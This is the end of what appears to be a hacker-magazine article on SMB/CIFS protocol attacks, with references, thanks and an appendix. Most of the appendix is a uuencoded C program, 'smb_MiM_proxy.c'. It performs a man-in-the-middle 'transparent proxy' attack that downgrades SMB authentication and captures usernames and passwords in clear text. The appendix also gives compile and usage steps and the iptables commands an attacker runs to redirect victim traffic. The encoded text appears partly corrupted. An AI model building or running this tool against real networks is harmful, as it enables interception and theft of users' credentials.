|--------------------------------------------| | remark string 1 | |--------------------------------------------| | another remarks strings | |--------------------------------------------| --[ 9 - Conclusion : I hope you have learned a lot of things in this article. If you have any comments, questions, send it at : --[ 10 - References [1] "A common Internet File System (CIFS/1.0) Protocol Preliminary Draft", Paul J.Leach and Dilip C. Naik http://www.snia.org/tech_activities/CIFS/CIFS-TR-1p00_FINAL.pdf [2] "CIFS Remote Administration Protocol Preliminary Draft" Paul J.Leach and Dilip C. Naik http://us6.samba.org/samba/ftp/specs/cifsrap2.txt [3] RFC 1001 http://www.faqs.org/rfcs/rfc1001.html [4] RFC 1002 http://www.faqs.org/rfcs/rfc1002.html --[ 11 - Thanks Just a Merry Christmas to TearDrop, Frealek and "el Tonio". A big thank to TearDrop for all. Without him, nothing could be possible ! Take a look at , you will find a very good (and free) scanner !. Thanks to Mr D. (my network administrator !), for all the advices and the several Linux distribs. Thanks to the Chemical brothers for the inspirational music. Thanks to the phrack staff, for all their remarks and particulary about the transparent proxy attack. To you for reading this article ;). --[ Appendix A This program allows you to have password in clear directly from the network when they should be encrypted. It works with libnet (v 1.1 !) and libpcap. This is the implementation of the Transparent proxy attack of the chapter 6.6. libnet : www.packetfactory.net libpcap : www.tcpdump.org You must be root to compile and to execute this program ! If you want to compile it, you could use : "gcc SMBproxy.c -o SMBproxy -lnet -lpcap" If you want to use it : "SMBproxy -i interface -c Client's IP address -s Server's IP address -f your fake IP (what you want : 6.6.6.6 for example)" -l listening port (1139 by default) Be careful the program will ask you about Windows 2k/XP specifictions support. But you must answer "y" when NBT is disabled not when it's enabled on Windows 2k/XP ! You give the IP adress of a client and of the server, this program waits a connection of the client to a SMBserver, launches the attack, recovers the password and redirects the traffic. The fake IP parameter corresponds to your fake IP, give what you want ! The attacker's machine should have no active connections with the server or with the client (like FTP or telnet ...). The default listening port is 1139 This program gives the password and the user name (if necessary). It also gives the security level (share or user). If the connection has succeeded, it gives the name of the share and a message like "password valid". If it has failed, it gives nothing (just the password and the user name). This program should be compiled on Linux for some technical reasons, like the network byte ordering. You shouldn't use it on the loopback interface. Support Windows 2k/XP specifications. This is the iptables/NAT command to execute on the attacker's machine To redirect incoming traffic to port 139 on port 1139 #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client. To redirect the whole traffic #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE To redirect incoming traffic to port 445 on port 1139 (for Windows 2k/XP client with NBT disabled) #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 445 -j REDIRECT --to-port 1139 192.168.1.3 is the IP address of the client. if you want to perform the downgrade attack of the chapter 6.8 remplace the port 1139 by a closed port. Be careful, for the traffic redirection, this line must be present in the /etc/sysconfig/network : FORWARD_IPV4=true This program doesn't support UNICODE strings. Successfully tested with samba server 2.0 . begin 600 smb_MiM_proxy.c M+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@("`@ M("`@(%--0B!-04X@24X@5$A%($U)1$1,12!!5%1!0TL-"B`@("`@("`@("`@ M("`@("`@("`@("`@("`@("!#;V1E9"!B>2!L961I;@T*("`@("`@("`@("`@ M("`@("`@("`@("!L961I;D!E;F-E<&AA;&]N+7IE2`A M#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B-I;F-L=61E(#QS=&1I M;RYH/@T*(VEN8VQU9&4@/'-T7,O=V%I="YH/@T* M(VEN8VQU9&4@/'-Y7,O7!E9&5F('-TPT*('5?:6YT.%]T(%1Y<&4["0DO M*G1Y<&4J+PD-"B!U7VEN=#A?="!&;&%G$9&+"=334(G M*B\-"B!U7VEN=#A?="!#;VUM86YD.PDO*D-O;6UA;F0@0V]D92HO#0H@=6YI M;VX@#0H@>PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@17)R;W)#;&%S MPT*("!U7VEN=#A? M="!0861;,3)=.PT*("!S=')U8W0-"B`@>PT*("`@=5]I;G0X7W0@4&ED2&EG M:%LR73L)+RI(:6=H(%!A'1R83L-"B!U M7VEN=#A?="!4:61;,ET["2\J5')E92!)9&5N=&EF:65R*B\-"B!U7VEN=#A? M="!0:61;,ET["2\J0V%L;&5R)W,@<')O8V5SPT*('5?:6YT.%]T(%=O"!T6EN M9R!T:&ES('-E7-T96U4:6UE M3&]W6S1=.PDO*E-Y7-T96U4:6UE2&EG:%LT73L)+RI3>7-T96T@*%540RD@ M=&EM92!O9B!T:&4@4QE;F=T:#L)+RI,96YG=&@@;V8@ M96YC71E4AD2`H6"D@8V]M;6%N9"PP M>$9&(#T@;F]N92HO#0H@=5]I;G0X7W0@06YD6%)E&EM=6X@8G5F M9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>$UP>$-O=6YT6S)=.PDO*F%C='5A M;"!M87AI;75N(&UU;'1I<&QE>&5D(')E<75E71E0V]U;G1; M,ET["2\J0V]U;G0@;V8@9&%T82!B>71E7!T*'5?8VAA2AC;VYS="!U;G-I9VYE9"!C:&%R("HL=6YS:6=N960@8VAA MF4@;V8@25`@861R97-S*B\-"B`@("`@("`@("`@("`@("`@ M("`@("`@($%24$]07U)%4$Q9+`T*("`@("`@("`@("`@("`@("`@("`@("`@ M16YE=$-L:65N="PO*F-L:65N="=S($U!0R!A9')E2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E7!E*B\-"@D)"0D@;"D[ M#0H-"@T*+RI7PT*(&QI8FYE=%]T("IL.PT*(&QI8FYE=%]P=&%G M7W0@5&%G.PT*(&-H87(@17)R0G5F6TQ)0DY%5%]%4E)"549?4TE:15T[#0H- M"B!S=')U8W0@<&-A<%]P:W1H9'(@2&5A9&5R.PT*#0H@=5]I;G0S,E]T($%R M<%-R8SL-"B!U7VEN=#,R7W0@07)P1'-T.PT*#0H@S!X M,"PP>#`L,'@P+#!X,"PP>#`L,'@P?3L@#0H@#0H@=5]C:&%R($)R;V%D8V%S M=%M%5$A?04Q%3ET@/2![,'AF9BPP>&9F+#!X9F8L,'AF9BPP>&9F+#!X9F9] M.PT*#0HO*DQI8FYE="!I;FET:6%L:7IA=&EO;BHO#0H-"B!L(#T@;&EB;F5T M7VEN:70H3$E"3D547TQ)3DLL1&5V:6-E+$5R2!T:&4@8G5I;&1I;F<@;V8@=&AE(&5T:&5R;F5T(&AE861E M7!E*B\- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(&PI.PT*#0H-"B\J M5W)I=&4@=&AE(%!A8VME="!W:7)E*B\-"@T*(&QI8FYE=%]WPT*("!086-K970@/2`H M=5]C:&%R("HI('!C87!?;F5X="A$97-CF5O M9BAU7VEN=#,R7W0I*3L-"B`@("!M96UC<'DH)D%R<$1S="P@*'5?:6YT,S)? M="`J*2`H07)P2&1R+3YAPT*#0H@("`@(&UE;6-P M>2@H=5]C:&%R("HI("A%;F5T1'-T*2P-"B`@("`@("`@("`@("AU7V-H87(@ M*BD@*$%R<$AD7)I9VAT("A#*2!!;F1R97<@5')I9&=E;&P@,3DY,BTQ M.3DX#0H@("!-;V1I9FEE9"!B>2!*97)E;7D@06QL:7-O;B`Q.3DU+@T*("`@ M#0H@("!4:&ES('!R;V=R86T@:7,@9G)E92!S;V9T=V%R93L@>6]U(&-A;B!R M961I0T*("`@:70@=6YD97(@=&AE M('1E6]U2!L871E71E(")C7!T*'5C:&%R("IP87-S=V0L('5C:&%R("IC."P@=6-H87(@*G`R-"D-"GL- M"B!U8VAAPT*('5C:&%R('`R,5LR,5T[#0H@#0H@#0H@#0H);65M2!O9@T*("`@34520TA!3E1!0DE,2519(&]R($9) M5$Y%4U,@1D]2($$@4$%25$E#54Q!4B!055)03U-%+B`@4V5E('1H90T*("`@ M1TY5($=E;F5R86P@4'5B;&EC($QI8V5N2!O9B!T M:&4@1TY5($=E;F5R86P@4'5B;&EC($QI8V5N6]U(&%R92!C;VYC M97)N960-"B`@(&%B;W5T('1H92!A<'!L:6-A8FEL:71Y(&]F($E405(@6]U#0H@("!S:&]U;&0@8V]N M9FER;2!I="!F;W(@>6]US4X+"`U M,"P@-#(L(#,T+"`R-BP@,3@L(#$P+"`@,BP-"@D)"38P+"`U,BP@-#0L(#,V M+"`R."P@,C`L(#$R+"`@-"P-"@D)"38R+"`U-"P@-#8L(#,X+"`S,"P@,C(L M(#$T+"`@-BP-"@D)"38T+"`U-BP@-#@L(#0P+"`S,BP@,C0L(#$V+"`@."P- M"@D)"34W+"`T.2P@-#$L(#,S+"`R-2P@,3R`@("`@(#$V+"`@-RP@,C`L(#(Q+`T*("`@("`@("`@("`@ M("`@("`@("`@("`@("`@("`@,CDL(#$R+"`R."P@,3S$L M(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#$L(#(L(#(L(#(L(#(L(#(L(#(L(#%] M.PT*#0IS=&%T:6,@=6-H87(@%LX75LT75LQ-ET@/2![#0I[>S$T+"`@ M-"P@,3,L("`Q+"`@,BP@,34L(#$Q+"`@."P@(#,L(#$P+"`@-BP@,3(L("`U M+"`@.2P@(#`L("`W?2P-"B![,"P@,34L("`W+"`@-"P@,30L("`R+"`Q,RP@ M(#$L(#$P+"`@-BP@,3(L(#$Q+"`@.2P@(#4L("`S+"`@.'TL#0H@>S0L("`Q M+"`Q-"P@(#@L(#$S+"`@-BP@(#(L(#$Q+"`Q-2P@,3(L("`Y+"`@-RP@(#,L M(#$P+"`@-2P@(#!]+`T*('LQ-2P@,3(L("`X+"`@,BP@(#0L("`Y+"`@,2P@ M(#S$U M+"`@,2P@(#@L(#$T+"`@-BP@,3$L("`S+"`@-"P@(#DL("`W+"`@,BP@,3,L M(#$R+"`@,"P@(#4L(#$P?2P-"B![,RP@,3,L("`T+"`@-RP@,34L("`R+"`@ M."P@,30L(#$R+"`@,"P@(#$L(#$P+"`@-BP@(#DL(#$Q+"`@-7TL#0H@>S`L M(#$T+"`@-RP@,3$L(#$P+"`@-"P@,3,L("`Q+"`@-2P@(#@L(#$R+"`@-BP@ M(#DL("`S+"`@,BP@,35]+`T*('LQ,RP@(#@L(#$P+"`@,2P@(#,L(#$U+"`@ M-"P@(#(L(#$Q+"`@-BP@(#S$P+"`@,"P@(#DL(#$T+"`@-BP@(#,L(#$U+"`@-2P@(#$L(#$S+"`Q,BP@ M(#S$L(#$P+"`Q,RP@(#`L("`V+"`@ M.2P@(#@L("`W+"`@-"P@,34L(#$T+"`@,RP@,3$L("`U+"`@,BP@,3)]?2P- M"@T*>WLW+"`Q,RP@,30L("`S+"`@,"P@(#8L("`Y+"`Q,"P@(#$L("`R+"`@ M."P@(#4L(#$Q+"`Q,BP@(#0L(#$U?2P-"B![,3,L("`X+"`Q,2P@(#4L("`V M+"`Q-2P@(#`L("`S+"`@-"P@(#S,L(#$U+"`@,"P@(#8L(#$P M+"`@,2P@,3,L("`X+"`@.2P@(#0L("`U+"`Q,2P@,3(L("`W+"`@,BP@,31] M?2P-"@T*>WLR+"`Q,BP@(#0L("`Q+"`@-RP@,3`L(#$Q+"`@-BP@(#@L("`U M+"`@,RP@,34L(#$S+"`@,"P@,30L("`Y?2P-"B![,30L(#$Q+"`@,BP@,3(L M("`T+"`@-RP@,3,L("`Q+"`@-2P@(#`L(#$U+"`Q,"P@(#,L("`Y+"`@."P@ M(#9]+`T*('LT+"`@,BP@(#$L(#$Q+"`Q,"P@,3,L("`W+"`@."P@,34L("`Y M+"`Q,BP@(#4L("`V+"`@,RP@(#`L(#$T?2P-"B![,3$L("`X+"`Q,BP@(#WLQ,BP@(#$L(#$P+"`Q-2P@(#DL("`R+"`@-BP@(#@L("`P M+"`Q,RP@(#,L("`T+"`Q-"P@(#S$P+"`Q-2P@(#0L M("`R+"`@-RP@,3(L("`Y+"`@-2P@(#8L("`Q+"`Q,RP@,30L("`P+"`Q,2P@ M(#,L("`X?2P-"B![.2P@,30L(#$U+"`@-2P@(#(L("`X+"`Q,BP@(#,L("`W M+"`@,"P@(#0L(#$P+"`@,2P@,3,L(#$Q+"`@-GTL#0H@>S0L("`S+"`@,BP@ M,3(L("`Y+"`@-2P@,34L(#$P+"`Q,2P@,30L("`Q+"`@-RP@(#8L("`P+"`@ M."P@,3-]?2P-"@T*>WLT+"`Q,2P@(#(L(#$T+"`Q-2P@(#`L("`X+"`Q,RP@ M(#,L(#$R+"`@.2P@(#S$S+"`@,BP@(#@L("`T+"`@-BP@,34L(#$Q+"`@ M,2P@,3`L("`Y+"`@,RP@,30L("`U+"`@,"P@,3(L("`W?2P-"B![,2P@,34L M(#$S+"`@."P@,3`L("`S+"`@-RP@(#0L(#$R+"`@-2P@(#8L(#$Q+"`@,"P@ M,30L("`Y+"`@,GTL#0H@>S&]R*&-H87(@*F]U="P@8VAA(&EN,EMI73L-"GT-"@T*2P@<&5R;3$L M(#4V*3L-"@T*"69OPT*"0EL6VI=(#T@<&0Q6VI=.PT*"0ER M6VI=(#T@<&0Q6VHK,S)=.PT*"7T-"@T*"69O%MJ75MM75MN72`F M(`T*"0D)"0D)*#$\/"@S+6LI*2D_,3HP.R`-"@D)?0T*#0H)"69OPT*"0EK97E;:5T@/2`H:V5Y6VE=/#PQ*3L-"@E] M#0I]#0H-"@T*2AK97DL M(&ME>3(I.PT*#0H)9F]R("AI/3`[:3PV-#MI*RLI('L-"@D):6YB6VE=(#T@ M*&EN6VDO.%T@)B`H,3P\*#S!X-&(L(#!X M-#PT*(&QI8FYE=%]T("IL.PT*('-T2!T:&4@;F5G<')O="!R97!L>2HO#0H-"G9O:60@3F5G4')O=%)E<&QY M*'5?8VAA7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`@("`@:6YT("I396-U2D-"GL-"B!.8G1397-S:6]N2&1R("I.8G1397-S:6]N.PT*(`T*(%-M8D)A M3L-"@T*+RI&;W(@=&AE(&1O;6%I;B!N86UE*B\-"@T*('5? M8VAA2T^4V5C=7)I='E-;V1E*2`F(#$[#0H-"B!I M9BA396-U2D-"B![#0H@('!R:6YT9B@B7&Y571E M0V]U;G1;,%TM#0H@("`@("`@("`@("`@("`@("`@($5.0U]+15E?3$5.1U1( M.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@#0H@("`@("`@("`@("`@ M("AM86QL;V,H1&]M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[ M#0H-"B`O*D-O<'D@=&AE($1O;6%I;B!N86UE(&EN(&$@2A$;VUA:6Y.86UE+`T*("`@("`@("`H=5]C:&%R("HI(`T*("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("!S:7IE;V8H4VUB0F%S94AD4ADF5O9BA.8G1397-S:6]N2&1R M*2`K#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K M#0H@("`@("`@("`@("`@("`@("`@('-I>F5O9BA3;6).96=0F5O9BA3;6).96=02T^0GET M94-O=6YT6S!=(#T@1&]M86EN3F%M94QE;F=T:#L-"@T*+RI4;R!M;V1I9GD@ M=&AE('-E8W5R:71Y(&UO9&4@8GET92!A;F0@=&AE(&5N8W)Y<'1I;VX@:V5Y M(&QE;F=T:"HO#0H@#0H@4VUB3F5G4')O=%)E<&QY+3Y396-U4UO9&4@ M/2`P>#`Q.PT*(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T M:"`](#!X,#`[#0H-"B!.8G1397-S:6]N+3Y,96YG=&@@/2!H=&]NF5O9BA3;6).96=02P-"B`@("`@ M("`@("`@("`@("`@("`@:6YT(%-E8W5R:71Y*0T*>PT*($YB=%-E7!T961087-S=V]R9%M%3D-?4$%34U=/4D1?3$5.1U1(73L- M"B!I;G0@5&5M<%-I>F4[#0H@=5]C:&%R(%!AF5O9BA. M8G1397-S:6]N2&1R*2D[#0H)"0T*(%-M8E-E='5P6%)E<75EF5O9BA3;6)"87-E M2&1R*2D[#0H-"B!M96US970H4&%S2A087-S=V]R9"P-"B`@("`@("`@("AU7V-H87(@*BD@#0H@("`@ M("`@("`H4&%C:V5T("L-"B`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@ M("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@("`@ M4VUB4V5T=7!84F5Q=65S="T^0V%S94EN2!L979E;"P@=V4@9&]N)W0@<')I;G0@=&AE#0H@("H@=7-EPT*("!P7!T*%!AF4@/2`H4VUB4V5T M=7!84F5Q=65S="T^0GET94-O=6YT6S!=("T-"B`@("`@("`@("`@("!3;6)3 M971U<%A297%U97-T+3Y#87-E26YS96YS:71I=F5087-S=V]R9$QE;F=T:%LP M72D[#0H@("`@("`-"B!496UP(#T@;6%L;&]C*%1E;7!3:7IE*G-I>F5O9BAU M7V-H87(I*3L-"@T*(&UE;6-P>2@H=5]C:&%R("HI*"!496UP*2P@#0H@("`@ M("`@("AU7V-H87(@*BD@#0H@("`@("`@("A086-K970@*R`-"B`@("`@("`@ M('-I>F5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("!S:7IE;V8H4VUB M0F%S94ADF5O9BA3;6)3971U<%A297%U97-T M2&1R*2`K#0H@("`@("`@("!3;6)3971U<%A297%U97-T+3Y#87-E26YS96YS M:71I=F5087-S=V]R9$QE;F=T:%LP72DL#0H@("`@("`@("!496UP4VEZ92D[ M#0H-"B!M96UC<'DH*'5?8VAAF5O9BA.8G1397-S:6]N2&1R*2`K#0H@("`@("`@("`@ M("`@("`@("`@('-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@("`@('-I>F5O9BA3;6)3971U<%A297%U97-T2&1R*2DL#0H@("`@("`@ M("!%;F-R>7!T961087-S=V]R9"P-"B`@("`@("`@($5.0U]005-35T]21%], M14Y'5$@I.PT*#0H@;65M8W!Y*"AU7V-H87(@*BD@*%!A8VME="`K(`T*("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF4I M.PT*("`@("`@#0H@4VUB4V5T=7!84F5Q=65S="T^0GET94-O=6YT6S!=(#T@ M5&5M<%-I>F4@*R`-"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M("!%3D-?4$%34U=/4D1?3$5.1U1(.PT*("`@("`@#0H-"B!3;6)3971U<%A2 M97%U97-T+3Y#87-E4V5N#`P M.PT*#0H@4VUB4V5T=7!84F5Q=65S="T^0V%S94EN5M%3D-?2T597TQ%3D=42%T[#0H@#0H@=5]C:&%R M(%!A8VME=%M)4%]-05A?4TE:15T[#0H-"B!.8G1397-S:6]N2&1R($YB=%-E M'DL4&%C:V5T*3L-"B`- M"B\J*BHJ*BHJ*BHJ*DY%1U!23U0@4D5154535"HJ*BHJ*BHJ*BHJ*B\-"@T* M(%)E860H4V]C:U!R;WAY+%!A8VME="D[#0H@(`T*#0H@5W)I=&4H4V]C:U-M M8E-E2@-"B`@("`@("`@("`@("`@4&%C:V5T+`T* M("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`F M4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY+%!A8VME="D[#0H-"B\J M*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ*BHJ*BHJ*B\-"B`-"B!2 M96%D*%-O8VM02Q086-K970I.PT*("`-"B!3971U<%A297%U97-T*`T* M("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R:71Y*3L-"B`@#0H@5W)I M=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U M('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/3D),3T-+*3L-"B`@9F-N M=&PH4V]C:U-M8E-E'DL)DYB=%-E MPT*("`@('!R:6YT9B@B7&Y397-S:6]N(&9I;FES:&5D("%<;B(I M.PT*("`@(&-L;W-E*%-O8VM02D[#0H@("`@8VQOR`-"B`@("!M96US970H4&%C:V5T+#`L M25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P>2A086-K970L*'5?8VAA MF5O9BA.8G1397-S:6]N2&1R*2D[#0H@ M("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H4V]C:U!R;WAY+`T*("`@ M("`@("`@*'5?8VAA2P-"B`@("`@("`@("`H=5]C:&%R("HI("A0 M86-K970I+`T*("`@("`@("`@(&YT;VAS*$YB=%-EPT*("!P2D[#0H@8VQO'DL(&EN="!3;V-K4VUB4V5R=F5R M*0T*>PT*(&EN="!396-U3TP.PT*#0H@:6YT($-O=6YT.PT*#0H@=5]C M:&%R($5N8W)Y<'1I;VY+97E;14Y#7TM%65],14Y'5$A=.PT*(`T*('5?8VAA M2@-"B`@("`@("`@ M("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T* M("`@("`@("`@("`@("`F4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY M+%!A8VME="D[#0H-"B\J*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ M*BHJ*BHJ*B\-"B`-"B!296%D*%-O8VM02Q086-K970I.PT*("`-"B!3 M971U<%A297%U97-T*`T*("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@ M("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R M:71Y*3L-"B`@#0H@5W)I=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/ M3D),3T-+*3L-"B`@9F-N=&PH4V]C:U-M8E-E'DL)DYB=%-EPT*("`@('!R:6YT9B@B7&Y397-S M:6]N(&9I;FES:&5D("%<;B(I.PT*("`@(&-L;W-E*%-O8VM02D[#0H@ M("`@8VQOR`-"B`@("!M M96US970H4&%C:V5T+#`L25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P M>2A086-K970L*'5?8VAAF5O9BA.8G13 M97-S:6]N2&1R*2D[#0H@("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H M4V]C:U!R;WAY+`T*("`@("`@("`@*'5?8VAA2P-"B`@("`@ M("`@("`H=5]C:&%R("HI("A086-K970I+`T*("`@("`@("`@(&YT;VAS*$YB M=%-EPT*("!P2D[#0H@(&-L;W-E*%-O8VM3;6)397)V97(I.PT*("`-"B`@2D[#0H@8VQOPT* M("!PF5O9BAC:&%R*2DI.PT*("`@('-T2YS:6Y?861D45N970L#0H@("`@("`@("`@("`@("`@("`@("!296%L16YE=$-L:65N M="P-"B`@("`@("`@("`@("`@("`@("`@($1E=FEC92P-"B`@("`@("`@("`@ M("`@("`@("`@($1E45N970L#0H@("`@("`@("`@("`@(%)E86Q% M;F5T4VUB4V5R=F5R+`T*("`@("`@("`@("`@("!$979I8V4L#0H@("`@("`@ M("`@("`@($1E'DN M'DN45N970L#0H@("`@("`@("`@(%)E86Q%;F5T0VQI96YT+`T*("`@("`@ M("`@("!$979I8V4I.PT*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"@T* M('-W:71C:"A#:&]I8V4I#0H@>PT*("!C87-E("=Y)R`Z#0H@(%-M8E-E2YS:6Y? M9F%M:6QY(#T@049?24Y%5#L-"B!02YS:6Y?<&]R="`](&AT;VYS*$QI M2YS:6Y?861D&EO;BHO#0H@#0H@8FEN9"@-"B`@("`@(%-O8VM02P- M"B`@("`@("AS=')U8W0@2DL#0H@("`@("!S M:7IE;V8H'DL,2D[#0H-"B!#;W5N="`]('-I>F5O9BAS=')U8W0@'DL#0H@("`@("`@("`@("`@("`@("`@("AS M=')U8W0@2DL#0H@("`@("`@("`@("`@("`@ M("`@("AI;G0@*BD@*"9#;W5N="D-"B`@("`@("`@("`@("`@("`@("`I.PT* M#0H@8V]N;F5C="@-"B`@("`@("`@(%-O8VM3;6)397)V97(L#0H@("`@("`@ M("`HF5O9BAS=')U8W0@2PD@#0H@("\J8V]N;F5X:6]N(&]N('!OPT*("`O*DYO'DI.PT* M(`T*(')E='5R;B`P.PT*?2`-"B`@#0H-"@T*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ5$A%($5.1"HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHO("`-"@T*#0H-"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BI#550@2$5212HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHO#0H-"BTM6R`@07!P96YD:7@@0B`-"@T*66]U(&AA=F4@:6X@=&AI6]U M('=A;G0@=&\@8V]M<&EL92!I="P@=&AE(&-O;6UA;F0@:7,@(F=C8R!S8V%N M7W-H87)E+F,@+6\@4TU"6]U('=A;G0N("AL97-S('1H86X@,34@8VAA7,O#4P7'@T,UQX,C!<>#1E7`T*7'@T M-5QX-31<>#4W7'@T9EQX-3)<>#1B7'@R,%QX-3!<>#4R7'@T9EQX-#=<>#4R M7'@T,5QX-&1<>#(P7'@S,5P-"EQX,F5<>#,P7'@P,%QX,#)<>#1D7'@T.5QX M-#-<>#4R7'@T9EQX-3-<>#1F7'@T-EQX-31<>#(P7'@T95QX-#5<#0I<>#4T M7'@U-UQX-&9<>#4R7'@T8EQX-3-<>#(P7'@S,5QX,F5<>#,P7'@S,UQX,#!< M>#`R7'@T9%QX-#E<>#0S7`T*7'@U,EQX-&9<>#4S7'@T9EQX-#9<>#4T7'@R M,%QX-&5<>#0U7'@U-%QX-3=<>#1F7'@U,EQX-&)<>#4S7'@R,%P-"EQX,S-< M>#)E7'@S,%QX,#!<>#`R7'@T8UQX-#%<>#1E7'@T9%QX-#%<>#1E7'@S,5QX M,F5<>#,P7'@P,%QX,#)<#0I<>#1C7'@T9%QX,S%<>#)E7'@S,EQX-3A<>#,P M7'@S,%QX,S)<>#`P7'@P,EQX-3-<>#8Q7'@V9%QX-C)<>#8Q7`T*7'@P,%QX M,#)<>#1E7'@U-%QX,C!<>#1C7'@T,5QX-&5<>#1D7'@T,5QX-&5<>#(P7'@S M,5QX,F5<>#,P7'@P,%P-"EQX,#)<>#1E7'@U-%QX,C!<>#1C7'@T9%QX,C!< M>#,P7'@R95QX,S%<>#,R(B`@("`@("`@("`)#0H-"B\J5&AE(&YA=&EV92!O M"Y386UB82HO#0H- M"B-D969I;F4@3D%4259%7T]37TQ!3DU!3@DB7'@U-5QX-F5<>#8Y7'@W.%QX M,#!<>#4S7'@V,5QX-F1<#0I<>#8R7'@V,2(-"@T*+RI4:&4@0V]M;6%N9"!F M;W(@=&-O;G@@#0Y7'@U,%QX-#-<>#(T7'@P,%QX,V9<>#-F7'@S9EQX M,V9<>#-F(B`-"@T*#0HO*E1H92!205`@8V]M;6%N9"!A;F0@=&AE(%Q0:7!E M7&QA;FUA;B!S=')I;F#4P7'@T.5QX-3!<>#0U7'@U8UQX-&-<>#0Q7'@T95P-"EQX-&1< M>#0Q7'@T95QX,#!<>#`P7'@P,%QX-3=<>##8X7'@P,%QX M-#)<>#,Q7'@S,UQX-#)<>#4W7`T*7'@W85QX,#!<>#`Q7'@P,%QX9F9<>&9F M(@T*+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("!35%)50U154D53#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHO"0D)("`@("`-"G1Y<&5D968@"!)9"HO#0I](%-M8D)A7!E9&5F('-T M"!O9B!S96QE8W1E9"!D:6%L96-T*B\-"B!U7VEN=#A?="!396-U M4UO9&4["2\J4V5C=7)I='D@36]D92`Z*B\-"@D)"2\J8FET(#`@.B`P M/7-H87)E+"`Q/75S97(J+PT*"0D)+RIB:70@,2`Z(#$]96YC$UP>$-O=6YT6S)=.R\J36%X(%!E;F1I M;F<@;75L=&EP;&5X960@"!60W,@8F5T=V5E96X@8VQI96YT(&%N9"!S97)V97(J M+PT*('5?:6YT.%]T($UA>$)U9F9EF5;-%T[+RI-87@@=')A;G-M:70@ M8G5F9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>%)A=U-I>F5;-%T[+RI-87@@ M4QE;F=T:#LO*DQE;F=T:"!O9B!E;F-R>7!T:6]N($ME>2HO M#0H@=5]I;G0X7W0@0GET94-O=6YT6S)=.PDO*D-O=6YT(&]F(&1A=&$@8GET M97,J+PT*?2!3;6).96=07!E9&5F('-T'0@8V]M;6%N9"!7;W)D8V]U 